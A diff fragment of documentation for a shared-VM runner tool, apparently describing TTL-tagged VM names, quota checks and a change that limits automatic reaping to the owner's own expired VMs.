VM carries its owner and a TTL in its name, any later run reaps expired VMs, the
VM carries its owner and a TTL in its name, its owner's next run reaps it once expired, the
create is refused before the quota fills, a silent remote command is killed with
its last output instead of hanging, and a repository's verify is one committed
definition rather than a wrapper per lane.
@@ -69,12 +69,12 @@ $U usage # VMs and vCPUs per owner: who holds the shared quota
```
A VM in `records` but absent from `list` is already gone: `$U down <name>`
forgets it. A VM in the project under another owner is theirs; leave it (its
TTL will reap it). Every `up` runs `$U reap` first, destroying any VM whose
`-t<hours>` TTL ended more than ten minutes ago, whichever owner made it, and
this owner's own `ubirun-<UBI_OWNER>-*` names with no TTL once they are
`UBI_LEGACY_HOURS` old (default 4). Another owner's TTL-less VM, an untagged
one and names outside the `ubirun-` prefix are never reaped.
forgets it. A VM in the project under another owner is theirs; leave it.
Every `up` runs `$U reap` first, destroying only this owner's
`ubirun-<UBI_OWNER>-*` VMs whose `-t<hours>` TTL ended more than ten minutes
ago, and those with no TTL once they are `UBI_LEGACY_HOURS` old (default 4).
Another owner's VM, expired or not, an untagged one and names outside the
`ubirun-` prefix are never reaped.
Quota: with `UBI_QUOTA_VCPUS=<project ceiling>` exported (or after one refusal,
whose maximum the runner remembers), `up` adds the size's vCPUs to the project's
@@ -97,7 +97,7 @@ background operation leaves its VM until the reaper. So:
`### gstack-detach EXIT=<code> ###` sentinel.
- Set `UBI_TTL_HOURS` above the longest plausible run (default 3; 1-999) and
name the expected duration in the thread before launching anything over an
hour. A run that outlives its TTL is reaped by the next `up` anywhere.
hour. A run that outlives its TTL is reaped by its owner's next `up` or `reap`.
The runner prints `<name> carries a <n>h TTL ...; if this process dies first:
<self> down <name>` right after the VM is ready; quote that line in your report